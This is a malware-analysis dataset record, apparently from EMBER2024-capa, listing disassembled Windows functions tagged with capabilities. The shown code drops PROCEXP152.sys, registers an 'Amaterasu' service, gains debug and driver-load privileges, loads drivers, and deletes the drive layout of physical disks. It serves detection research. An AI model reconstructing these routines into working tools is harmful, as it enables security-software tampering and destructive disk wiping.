joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010a5
Capabilities:
Delete file

Disassembly:
jmp 0x140007560
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rcx, [rbp + 0xe8]
call fcn.14000130c
mov qword [rbp + 0x118], rax
mov rcx, qword [rbp + 0x118]
call fcn.140001208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400075b0
mov byte [rbp + 0x120], 1
jmp 0x1400075b7
mov byte [rbp + 0x120], 0
movzx eax, byte [rbp + 0x120]
mov byte [rbp + 0xc4], al
lea rcx, [rbp + 0xe8]
call fcn.140001537
movzx eax, byte [rbp + 0xc4]
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x14000128f
Capabilities:
Write file on windows

Disassembly:
jmp 0x140009850
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0x180], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 8]
call fcn.140001578
movzx eax, al
test eax, eax
jne 0x1400098a8
xor al, al
jmp 0x14000995a
lea rcx, [rbp + 0x148]
call fcn.14000130c
mov qword [rbp + 0x178], rax
mov rcx, qword [rbp + 0x178]
call fcn.140001208
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x148]
call fcn.140001537
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x14000991b
lea rcx, str._t___Failed_to_create_PROCEXP152.sys_n
call fcn.140001032
xor al, al
jmp 0x14000995a
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000994e
lea rcx, str._t___Failed_to_write_to_PROCEXP152.sys_n
call fcn.140001032
xor al, al
jmp 0x14000995a
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400133e0]
call fcn.140001505
mov rax, rdi
mov rcx, qword [rbp + 0x180]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret

Function at 0x140001352
Capabilities:
Terminate process

Disassembly:
jmp 0x14000b6a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14000141a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14000ca30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000ca50
xor al, al
jmp 0x14000cad1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000ca63
xor al, al
jmp 0x14000cad1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14000ca8d
xor al, al
jmp 0x14000cad1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14000caa1
xor al, al
jmp 0x14000cad1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14000cab3
xor al, al
jmp 0x14000cad1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14000cacf
xor al, al
jmp 0x14000cad1
mov al, 1
add rsp, 0x38
ret
Function at 0x14000155f
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140007fb0
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f0e7]
call fcn.1400015e6
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0x84
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x44]
call fcn.14000156e
mov qword [rbp + 0x28], rax
xor r9d, r9d
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov ecx, 0x10
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xc0000004
jne 0x140008026
mov eax, dword [rbp + 0x44]
shl eax, 1
mov dword [rbp + 0x44], eax
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x44]
call fcn.14000156e
mov qword [rbp + 0x28], rax
jmp 0x140007fea
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140001578
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140007e70
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f0e7]
call fcn.1400015e6
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140007ec5
lea rcx, str._t___Failed_to_locate_resource_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140007eec
lea rcx, str._t___Failed_to_load_resource_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rbp + 0x120]
mov qword [rcx], rax
mov rax, qword [rbp + 0x120]
cmp qword [rax], 0
jne 0x140007f1d
lea rcx, str._t___Failed_to_lock_resource_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [rbp + 0x128]
mov dword [rcx], eax
mov rax, qword [rbp + 0x128]
cmp dword [rax], 0
jne 0x140007f4e
lea rcx, str._t___Failed_to_get_resource_size_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov al, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140001627
Capabilities:
Persist via windows service
Set registry value

Disassembly:
jmp 0x1400091d0
push rbp
push rsi
push rdi
sub rsp, 0x530
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xd8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0x4d8], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rax, [rbp + 0x10]
lea rcx, str.SystemCurrentControlSetServicesAmaterasu
mov rdi, rax
mov rsi, rcx
mov ecx, 0x58
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x1b0
rep stosb byte [rdi], al
mov qword [rbp + 0x238], 0
mov dword [rbp + 0x254], 0
lea rax, [rbp + 0x254]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x238]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000929e
xor al, al
jmp 0x14000942b
mov dword [rbp + 0x274], 0
lea rcx, [rbp + 0x458]
call fcn.14000130c
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x4d0], rax
mov r8, qword [rbp + 0x4d0]
lea rdx, [0x140014d40]
lea rcx, [rbp + 0x298]
call fcn.140001177
nop
lea rcx, [rbp + 0x458]
call fcn.140001537
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400093f5
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400093f5
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400093f5
lea rcx, [rbp + 0x298]
call fcn.140001208
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov qword [rbp + 0x4c8], rax
lea rcx, [rbp + 0x298]
call fcn.140001208
mov rcx, qword [rbp + 0x4c8]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140009411
mov byte [rbp + 0x494], 0
lea rcx, [rbp + 0x298]
call fcn.140001537
movzx eax, byte [rbp + 0x494]
jmp 0x14000942b
mov byte [rbp + 0x4b4], 1
lea rcx, [rbp + 0x298]
call fcn.140001537
movzx eax, byte [rbp + 0x4b4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140013468]
call fcn.140001505
mov rax, rdi
mov rcx, qword [rbp + 0x4d8]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x4e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140007560
Capabilities:
Delete file

Disassembly:
jmp 0x140007560
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rcx, [rbp + 0xe8]
call fcn.14000130c
mov qword [rbp + 0x118], rax
mov rcx, qword [rbp + 0x118]
call fcn.140001208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400075b0
mov byte [rbp + 0x120], 1
jmp 0x1400075b7
mov byte [rbp + 0x120], 0
movzx eax, byte [rbp + 0x120]
mov byte [rbp + 0xc4], al
lea rcx, [rbp + 0xe8]
call fcn.140001537
movzx eax, byte [rbp + 0xc4]
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x140007e70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140007e70
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f0e7]
call fcn.1400015e6
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140007ec5
lea rcx, str._t___Failed_to_locate_resource_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140007eec
lea rcx, str._t___Failed_to_load_resource_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rbp + 0x120]
mov qword [rcx], rax
mov rax, qword [rbp + 0x120]
cmp qword [rax], 0
jne 0x140007f1d
lea rcx, str._t___Failed_to_lock_resource_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [rbp + 0x128]
mov dword [rcx], eax
mov rax, qword [rbp + 0x128]
cmp dword [rax], 0
jne 0x140007f4e
lea rcx, str._t___Failed_to_get_resource_size_n
call fcn.140001032
xor al, al
jmp 0x140007f5a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov al, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140007fb0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
jmp 0x140007fb0
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14001f0e7]
call fcn.1400015e6
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0x84
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x44]
call fcn.14000156e
mov qword [rbp + 0x28], rax
xor r9d, r9d
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov ecx, 0x10
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xc0000004
jne 0x140008026
mov eax, dword [rbp + 0x44]
shl eax, 1
mov dword [rbp + 0x44], eax
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x44]
call fcn.14000156e
mov qword [rbp + 0x28], rax
jmp 0x140007fea
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140008190
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140008190
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
mov dword [rbp + 4], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x28]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140008225
lea rdx, str.SeDebugPrivilege
lea rcx, [rbp + 0x28]
call fcn.140001613
movzx eax, al
test eax, eax
je 0x140008225
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x28]
call fcn.140001613
movzx eax, al
test eax, eax
je 0x140008225
mov dword [rbp + 4], 1
cmp qword [rbp + 0x28], 0
je 0x140008236
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 4], 0
je 0x140008245
mov byte [rbp + 0xf4], 1
jmp 0x14000824c
mov byte [rbp + 0xf4], 0
movzx eax, byte [rbp + 0xf4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140013240]
call fcn.140001505
mov eax, edi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140008c40
Capabilities:
Install driver

Disassembly:
jmp 0x140008c40
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x400
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x98
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x428]
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0x3d8], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rax, [rbp + 0x10]
lea rcx, str.RegistryMachineSystemCurrentControlSetServicesAmaterasu
mov rdi, rax
mov rsi, rcx
mov ecx, 0x7c
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x8c]
mov rdi, rax
xor eax, eax
mov ecx, 0x18c
rep stosb byte [rdi], al
lea rax, [rbp + 0x238]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x238]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x238]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov rcx, qword [rbp + 0x400]
mov dword [rcx], eax
mov rax, qword [rbp + 0x400]
cmp dword [rax], 0
je 0x140008d1d
mov rax, qword [rbp + 0x400]
cmp dword [rax], 0xc000010e
je 0x140008d1d
mov rax, qword [rbp + 0x400]
cmp dword [rax], 0xc0000035
je 0x140008d1d
xor al, al
jmp 0x140008d1f
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400136b0]
call fcn.140001505
mov rax, rdi
mov rcx, qword [rbp + 0x3d8]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x3e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400091d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
jmp 0x1400091d0
push rbp
push rsi
push rdi
sub rsp, 0x530
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xd8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0x4d8], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rax, [rbp + 0x10]
lea rcx, str.SystemCurrentControlSetServicesAmaterasu
mov rdi, rax
mov rsi, rcx
mov ecx, 0x58
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x1b0
rep stosb byte [rdi], al
mov qword [rbp + 0x238], 0
mov dword [rbp + 0x254], 0
lea rax, [rbp + 0x254]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x238]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000929e
xor al, al
jmp 0x14000942b
mov dword [rbp + 0x274], 0
lea rcx, [rbp + 0x458]
call fcn.14000130c
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x4d0], rax
mov r8, qword [rbp + 0x4d0]
lea rdx, [0x140014d40]
lea rcx, [rbp + 0x298]
call fcn.140001177
nop
lea rcx, [rbp + 0x458]
call fcn.140001537
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400093f5
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400093f5
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400093f5
lea rcx, [rbp + 0x298]
call fcn.140001208
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov qword [rbp + 0x4c8], rax
lea rcx, [rbp + 0x298]
call fcn.140001208
mov rcx, qword [rbp + 0x4c8]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140009411
mov byte [rbp + 0x494], 0
lea rcx, [rbp + 0x298]
call fcn.140001537
movzx eax, byte [rbp + 0x494]
jmp 0x14000942b
mov byte [rbp + 0x4b4], 1
lea rcx, [rbp + 0x298]
call fcn.140001537
movzx eax, byte [rbp + 0x4b4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140013468]
call fcn.140001505
mov rax, rdi
mov rcx, qword [rbp + 0x4d8]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x4e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140009500
Capabilities:
Unload driver

Disassembly:
jmp 0x140009500
push rbp
push rsi
push rdi
sub rsp, 0x420
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rax, [rbp + 0x10]
lea rcx, str.RegistryMachineSystemCurrentControlSetServicesAmaterasu
mov rdi, rax
mov rsi, rcx
mov ecx, 0x7c
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x8c]
mov rdi, rax
xor eax, eax
mov ecx, 0x18c
rep stosb byte [rdi], al
lea rax, [rbp + 0x238]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x238]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x238]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov dword [rbp + 0x264], eax
cmp dword [rbp + 0x264], 0
je 0x1400095c5
cmp dword [rbp + 0x264], 0xc000010e
je 0x1400095c5
cmp dword [rbp + 0x264], 0xc0000035
je 0x1400095c5
xor al, al
jmp 0x1400095c7
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140013790]
call fcn.140001505
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x400]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140009850
Capabilities:
Write file on windows

Disassembly:
jmp 0x140009850
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001a018]
xor rax, rbp
mov qword [rbp + 0x180], rax
lea rcx, [0x14001f0e7]
call fcn.1400015e6
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 8]
call fcn.140001578
movzx eax, al
test eax, eax
jne 0x1400098a8
xor al, al
jmp 0x14000995a
lea rcx, [rbp + 0x148]
call fcn.14000130c
mov qword [rbp + 0x178], rax
mov rcx, qword [rbp + 0x178]
call fcn.140001208
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x148]
call fcn.140001537
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x14000991b
lea rcx, str._t___Failed_to_create_PROCEXP152.sys_n
call fcn.140001032
xor al, al
jmp 0x14000995a
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000994e
lea rcx, str._t___Failed_to_write_to_PROCEXP152.sys_n
call fcn.140001032
xor al, al
jmp 0x14000995a
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400133e0]
call fcn.140001505
mov rax, rdi
mov rcx, qword [rbp + 0x180]
xor rcx, rbp
call fcn.1400012f3
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret
Function at 0x180001070
Capabilities:
Delete drive layout via ioctl

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x60], rax
movzx r8d, cl
lea rdx, str..PhysicalDrive_d
lea rcx, [rsp + 0x48]
call fcn.180001010
xor edi, edi
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001147
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x7c100
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x18000113e
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x70140
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x18000113e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x180001149
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1800016f0
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x1800013a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001476
mov qword [rsp + 0x38], rbx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov edx, 0x70000
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x18000146d
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000146d
nop
movzx edx, byte [rsp + rbx + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800014a0
inc rbx
cmp rbx, 0x200
jl 0x180001450
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800016f0
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret

Function at 0x100411cb0
Capabilities:
Encode data using xor

Disassembly:
xor dl, byte [rdx + rsi + 0x70]
xor bl, byte [rdx - 0x77]
xor dh, al
xlatb
xchg ebp, eax
invalid